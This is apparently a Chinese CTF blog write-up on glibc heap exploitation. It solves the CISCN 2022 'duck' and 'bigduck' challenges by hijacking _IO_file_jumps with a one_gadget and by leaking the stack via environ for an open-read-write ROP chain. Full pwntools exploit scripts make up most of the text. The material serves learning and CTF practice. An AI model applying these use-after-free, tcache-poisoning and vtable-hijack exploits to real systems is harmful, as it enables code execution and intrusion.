pwn知识——劫持IO_file_jumps攻击和environ攻击

导言

哎，异或fd指针真是令人讨厌

IO_file_jumps

_IO_lock_t _IO_stdfile，_IO_wide_data（针对宽字节的虚函数表），_IO_FILE_plus（含有stdin,stdout）三者均被定义为IO_file_jumps

原理

IO_file_jumps是一个全局变量符号，存有以下符号

这个结构体主要跟缓冲区有关，比如调用puts,fread,fgets,exit（这个会触发_IO_flush_all_lockp）之类的函数时，会根据_IO_FILE结构体调用对应的函数，常常会用到_IO_file_jumps
我们根据情况，将对应的函数指针修改为system('/bin/sh')，岂不是getshell？

例题：[CISCN 2022 华东北]duck

checksec

源审

主函数是经典的菜单选择

add

delete

show

edit

总结就是经典的UAF漏洞，不存在sandbox，但由于是GLIBC2.34高版本，hook函数基本都被扬了，没法像之前那样攻击了，因为有puts函数会调用IO_file_jumps，所以我们将目标定为IO_file_jumps进行伪造

Payload实现

leak_libc_and_heap

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./duck')
#p = remote('node4.anna.nssctf.cn',28015)
elf = ELF('./duck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)
#leak libc
for i in range(8): #0-7
    add()
add() #8
for i in range(8):
    delete(i)
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x1f2c60
log.success('libc_base==>'+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
log.success('IO_file_jumps==>'+hex(IO_file_jumps))
one_gadget = libc_base + 0xda864
#leak heap_base
show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

最开始的步骤都很基础，将tcache填满，再free一个进入unsorted_bin从而泄露main_arena+96，进而泄露libc_base来获取各个函数的地址。在高版本libc，heap的fd指针会有加密，需要移位，有时还要异或
现在的接收都是u64(p.recv(5).ljust(8,b'\x00')) << 12
而修改heap的fd指针则是(heap_addr >> 12)^target_addr

伪造_IO_file_jumps结构体

for i in range(5):
    add() #9-13
edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0))

因为之前free了七个chunk，为了不破坏bins的结构，先取出五个chunk,然后再进行修改
add前

add时

edit后

所以我们再申请两个出来后就成功伪造了_IO_file_jumps的chunk，我们就可以对它进行修改了

修改_IO_file_jumps结构体

add()
add()
edit(15,p64(0) * 3 + p64(one_gadget))

我们首先看看修改前结构体的内容

可以看到，跟我们原理里介绍的一样，那么我们将它edit后呢？

可以看到，__overflow被覆盖为了onegadget的地址，原本调用puts的流程是puts->_IO_putc->_IO_overflow，这下_IO_overflow变成了onegadget，意味着执行puts的时候就getshell了

这就是完整的劫持流程啦，执行这个后就getshell了

完整Payload

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./duck')
#p = remote('node4.anna.nssctf.cn',28015)
elf = ELF('./duck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)

for i in range(8):
    add()
#gdb.attach(p)
add()
for i in range(8):
    delete(i)
#gdb.attach(p)
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
log.success('main_arena==>'+hex(main_arena))
libc_base = main_arena - 0x1f2c60
log.success('libc_base==>'+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
log.success('IO_file_jumps==>'+hex(IO_file_jumps))
one_gadget = libc_base + 0xda864

show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

#gdb.attach(p)
for i in range(5):
    add()
#gdb.attach(p)
edit(1,p64((heap_base >> 12)^IO_file_jumps) + p64(0))
add()
#gdb.attach(p)
add()
gdb.attach(p)
edit(15,p64(0) * 3 + p64(one_gadget))

p.interactive()

environ

原理

environ，顾名思义，就是环境变量，一般来说就是以下这些玩意等等

我们可以通过environ泄露出栈地址，根据相对偏移计算出当前栈的地址的ret，如果能修改ret，我们就有很多操作空间

例题：[CISCN 2022 华东北]bigduck

保护检查

checksec和源审和上题的duck是一样的，只不过版本不一样，这题的版本是libc-2.33，此时的hook函数还没被扬，但是本题开了sanbox，只能用orw

Payload实现

leak_libc_and_heap

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

p = process('./bigduck')
#p = remote('node4.anna.nssctf.cn', 28603)
elf = ELF('./bigduck')
libc = ELF('./libc.so.6')

def add():
    p.recvuntil(b'Choice: ')
    p.sendline(b'1')

def delete(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'2')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))

def show(index):
    p.recvuntil(b'Choice: ')
    p.sendline(b'3')
    p.recvuntil(b'Idx: \n')
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil(b'Choice: ')
    p.sendline(b'4')
    p.recvuntil(b'Idx: ')
    p.sendline(str(index))
    p.recvuntil(b'Size: ')
    p.sendline(str(len(content)))
    p.recvuntil(b'Content: ')
    p.send(content)

for i in range(8):
    add()
add()
for i in range(8):
    delete(i)
edit(7, b'a') #重点，不然有\x00截断无法输出main_arena
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 - 0x61
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
environ = libc_base + libc.sym['_environ']
log.success('environ==>'+hex(environ))

show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
log.success('heap_base==>'+hex(heap_base))

跟上题一样的步骤

泄露stack

stack_ptr = (heap_base >> 12) ^ environ
log.success('stack_ptr==>'+hex(stack_ptr))
gdb.attach(p)
edit(6,p64(stack_ptr))
add()
add()
show(10)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('stack==>'+hex(stack))
stack_base = stack - 0x138
log.success('stack_base==>'+hex(stack_base))

can can edit之后

跟原理上展示一样，再add两次伪造environ成chunk后即可puts出栈地址，从而计算出当前函数（edit）的ret地址，再进行修改

对比一下就发现没有错，在后续中修改edit_ret即可

orw

pop_rdi = libc_base + 0x28a55
pop_rsi = libc_base + 0x2a4cf
pop_rdx = libc_base + 0xc7f32
pop_ret = libc_base + 0x26699
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
flag_addr = heap_base + 0x5d0

edit(3,b'/flag\x00')

orw = p64(0) * 3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) +p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x300) + p64(puts_addr)

delete(8)
delete(9)
edit(9, p64((heap_base >> 12)^stack_base))
add()
add()
edit(12,orw)
p.interactive()

在对应的heap地址上edit出flag，记住该地址赋给rdi，实现open的打开，后续的都是基础的操作，因为高版本setcontext函数有所改变，笔者尚不熟悉，所以没有用，而是用这种普通的orw。
照旧先free两个进行链子改造

add两个后申请到了栈上，可以修改栈内容，由于rsp距rbp有0x10个字节，因此覆盖0x18后链上orw即可

基本就跟getshell了差不多。不过这里用不了write函数，会通不过某个检测

总结

我的脑袋——
我好想你——
我快困死了——

posted @ 2024-05-11 22:08 Sn0wFlak3 阅读(54) 评论(0) 编辑收藏举报

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IO_file_jumps

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show

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伪造_IO_file_jumps结构体

修改_IO_file_jumps结构体

完整Payload

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泄露stack

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